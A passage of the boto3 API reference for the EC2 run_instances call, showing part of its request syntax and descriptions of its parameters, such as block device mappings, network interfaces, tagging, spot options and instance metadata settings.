.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + KernelId='string', + KeyName='string', + MaxCount=123, + MinCount=123, + Monitoring={ + 'Enabled': True|False + }, + Placement={ + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + }, + RamdiskId='string', + SecurityGroupIds=[ + 'string', + ], + SecurityGroups=[ + 'string', + ], + UserData='string', + AdditionalInfo='string', + ClientToken='string', + DisableApiTermination=True|False, + DryRun=True|False, + EbsOptimized=True|False, + IamInstanceProfile={ + 'Arn': 'string', + 'Name': 'string' + }, + InstanceInitiatedShutdownBehavior='stop'|'terminate', + NetworkInterfaces=[ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + ], + PrivateIpAddress='string', + ElasticGpuSpecification=[ + { + 'Type': 'string' + }, + ], + ElasticInferenceAccelerators=[ + { + 'Type': 'string', + 'Count': 123 + }, + ], + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + LaunchTemplate={ + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + InstanceMarketOptions={ + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + CreditSpecification={ + 'CpuCredits': 'string' + }, + CpuOptions={ + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + CapacityReservationSpecification={ + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + HibernationOptions={ + 'Configured': True|False + }, + LicenseSpecifications=[ + { + 'LicenseConfigurationArn': 'string' + }, + ], + MetadataOptions={ + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + EnclaveOptions={ + 'Enabled': True|False + } +) + +Parameters + +* **BlockDeviceMappings** (_list_) -- + + The block device mapping entries. + + * _(dict) --_ + + Describes a block device mapping. + + * **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + * **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + * **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + * gp3 : 3,000-16,000 IOPS + * io1 : 100-64,000 IOPS + * io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + * gp2 and gp3 :1-16,384 + * io1 and io2 : 4-16,384 + * st1 : 500-16,384 + * sc1 : 500-16,384 + * standard : 1-1,024 + * **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + * **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + * **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + * **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +* **ImageId** (_string_) -- The ID of the AMI. An AMI ID is required to launch an instance and must be specified here or in a launch template. +* **InstanceType** (_string_) -- + + The instance type. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: m1.small + +* **Ipv6AddressCount** (_integer_) -- + + [EC2-VPC] The number of IPv6 addresses to associate with the primary network interface. Amazon EC2 chooses the IPv6 addresses from the range of your subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + +* **Ipv6Addresses** (_list_) -- + + [EC2-VPC] The IPv6 addresses from the range of the subnet to associate with the primary network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + +* **KernelId** (_string_) -- + + The ID of the kernel. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **KeyName** (_string_) -- + + The name of the key pair. You can create a key pair using [CreateKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html) or [ImportKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html) . + + Warning + + If you do not specify a key pair, you can't connect to the instance unless you choose an AMI that is configured to allow users another way to log in. + +* **MaxCount** (_integer_) -- + + **[REQUIRED]** + + The maximum number of instances to launch. If you specify more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches the largest possible number of instances above MinCount . + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 FAQ. + +* **MinCount** (_integer_) -- + + **[REQUIRED]** + + The minimum number of instances to launch. If you specify a minimum that is more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches no instances. + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 General FAQ. + +* **Monitoring** (_dict_) -- + + Specifies whether detailed monitoring is enabled for the instance. + + * **Enabled** _(boolean) --_ **[REQUIRED]** + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + +* **Placement** (_dict_) -- + + The placement for the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + +* **RamdiskId** (_string_) -- + + The ID of the RAM disk to select. Some kernels require additional drivers at launch. Check the kernel requirements for information about whether you need to specify a RAM disk. To find kernel requirements, go to the AWS Resource Center and search for the kernel ID. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +* **SecurityGroupIds** (_list_) -- + + The IDs of the security groups. You can create a security group using [CreateSecurityGroup](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateSecurityGroup.html) . + + If you specify a network interface, you must specify any security groups as part of the network interface. + + * _(string) --_ +* **SecurityGroups** (_list_) -- + + [EC2-Classic, default VPC] The names of the security groups. For a nondefault VPC, you must use security group IDs instead. + + If you specify a network interface, you must specify any security groups as part of the network interface. + + Default: Amazon EC2 uses the default security group. + + * _(string) --_ +* **UserData** (_string_) -- + + The user data to make available to the instance. For more information, see [Running commands on your Linux instance at launch](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) (Linux) and [Adding User Data](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-instance-metadata.html#instancedata-add-user-data) (Windows). If you are using a command line tool, base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide base64-encoded text. User data is limited to 16 KB. + + > **This value will be base64 encoded automatically. Do not base64 encode this value prior to performing the operation.** + +* **AdditionalInfo** (_string_) -- Reserved. +* **ClientToken** (_string_) -- + + Unique, case-sensitive identifier you provide to ensure the idempotency of the request. If you do not specify a client token, a randomly generated token is used for the request to ensure idempotency. + + For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraints: Maximum 64 ASCII characters + + This field is autopopulated if not provided. + +* **DisableApiTermination** (_boolean_) -- + + If you set this parameter to true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. To change this attribute after launch, use [ModifyInstanceAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceAttribute.html) . Alternatively, if you set InstanceInitiatedShutdownBehavior to terminate , you can terminate the instance by running the shutdown command from the instance. + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **EbsOptimized** (_boolean_) -- + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal Amazon EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS-optimized instance. + + Default: false + +* **IamInstanceProfile** (_dict_) -- + + The IAM instance profile. + + * **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + * **Name** _(string) --_ + + The name of the instance profile. + +* **InstanceInitiatedShutdownBehavior** (_string_) -- + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + Default: stop + +* **NetworkInterfaces** (_list_) -- + + The network interfaces to associate with the instance. If you specify a network interface, you must specify any security groups and subnets as part of the network interface. + + * _(dict) --_ + + Describes a network interface. + + * **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + * **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + * **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + * **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + * **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + * _(string) --_ + * **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + * **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + * _(dict) --_ + + Describes an IPv6 address. + + * **Ipv6Address** _(string) --_ + + The IPv6 address. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + * **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + * **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + * **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + * **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + * **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + * **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + * **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +* **PrivateIpAddress** (_string_) -- + + [EC2-VPC] The primary IPv4 address. You must specify a value from the IPv4 address range of the subnet. + + Only one private IP address can be designated as primary. You can't specify this option if you've specified the option to designate a private IP address as the primary IP address in a network interface specification. You cannot specify this option if you're launching more than one instance in the request. + + You cannot specify this option and the network interfaces option in the same request. + +* **ElasticGpuSpecification** (_list_) -- + + An elastic GPU to associate with the instance. An Elastic GPU is a GPU resource that you can attach to your Windows instance to accelerate the graphics performance of your applications. For more information, see [Amazon EC2 Elastic GPUs](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * _(dict) --_ + + A specification for an Elastic Graphics accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of Elastic Graphics accelerator. For more information about the values to specify for Type , see [Elastic Graphics Basics](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html#elastic-graphics-basics) , specifically the Elastic Graphics accelerator column, in the _Amazon Elastic Compute Cloud User Guide for Windows Instances_ . + +* **ElasticInferenceAccelerators** (_list_) -- + + An elastic inference accelerator to associate with the instance. Elastic inference accelerators are a resource you can attach to your Amazon EC2 instances to accelerate your Deep Learning (DL) inference workloads. + + You cannot specify accelerators from different generations in the same request. + + * _(dict) --_ + + Describes an elastic inference accelerator. + + * **Type** _(string) --_ **[REQUIRED]** + + The type of elastic inference accelerator. The possible values are eia1.medium , eia1.large , eia1.xlarge , eia2.medium , eia2.large , and eia2.xlarge . + + * **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + +* **TagSpecifications** (_list_) -- + + The tags to apply to the resources during launch. You can only tag instances and volumes on launch. The specified tags are applied to all instances or volumes that are created during launch. To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1089)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1091)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **LaunchTemplate** (_dict_) -- + + The launch template to use to launch the instances. Any parameters that you specify in RunInstances override the same parameters in the launch template. You can specify either the name or ID of a launch template, but not both. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + * **Version** _(string) --_ + + The version number of the launch template. + + Default: The default version for the launch template. + +* **InstanceMarketOptions** (_dict_) -- + + The market (purchasing) option for the instances. + + For RunInstances , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + * **MarketType** _(string) --_ + + The market type. + + * **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + * **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. The default is the On-Demand price. + + * **SpotInstanceType** _(string) --_ + + The Spot Instance request type. For [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances) , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + * **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + The duration period starts as soon as your Spot Instance receives its instance ID. At the end of the duration period, Amazon EC2 marks the Spot Instance for termination and provides a Spot Instance termination notice, which gives the instance a two-minute warning before it terminates. + + You can't specify an Availability Zone group or a launch group if you specify a duration. + + New accounts or accounts with no previous billing history with AWS are not eligible for Spot Instances with a defined duration (also known as Spot blocks). + + * **ValidUntil** _(datetime) --_ + + The end date of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). Supported only for persistent requests. + + * For a persistent request, the request remains active until the ValidUntil date and time is reached. Otherwise, the request remains active until you cancel it. + * For a one-time request, ValidUntil is not supported. The request remains active until all instances launch or you cancel the request. + * **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + +* **CreditSpecification** (_dict_) -- + + The credit option for CPU usage of the burstable performance instance. Valid values are standard and unlimited . To change this attribute after launch, use [ModifyInstanceCreditSpecification](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceCreditSpecification.html) . For more information, see [Burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: standard (T2 instances) or unlimited (T3/T3a instances) + + * **CpuCredits** _(string) --_ **[REQUIRED]** + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + +* **CpuOptions** (_dict_) -- + + The CPU options for the instance. For more information, see [Optimizing CPU options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + * **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + * **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. To disable multithreading for the instance, specify a value of 1 . Otherwise, specify the default value of 2 . + +* **CapacityReservationSpecification** (_dict_) -- + + Information about the Capacity Reservation targeting option. If you do not specify this parameter, the instance's Capacity Reservation preference defaults to open , which enables it to run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + + * **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + * open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + * none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs as an On-Demand Instance. + * **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation in which to run the instance. + + * **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the Capacity Reservation resource group in which to run the instance. + +* **HibernationOptions** (_dict_) -- + + Indicates whether an instance is enabled for hibernation. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + You can't enable hibernation and AWS Nitro Enclaves on the same instance. + + * **Configured** _(boolean) --_ + + If you set this parameter to true , your instance is enabled for hibernation. + + Default: false + +* **LicenseSpecifications** (_list_) -- + + The license configurations. + + * _(dict) --_ + + Describes a license configuration. + + * **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + +* **MetadataOptions** (_dict_) -- + + The metadata options for the instance. For more information, see [Instance metadata and user data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) . + + * **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + * **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for 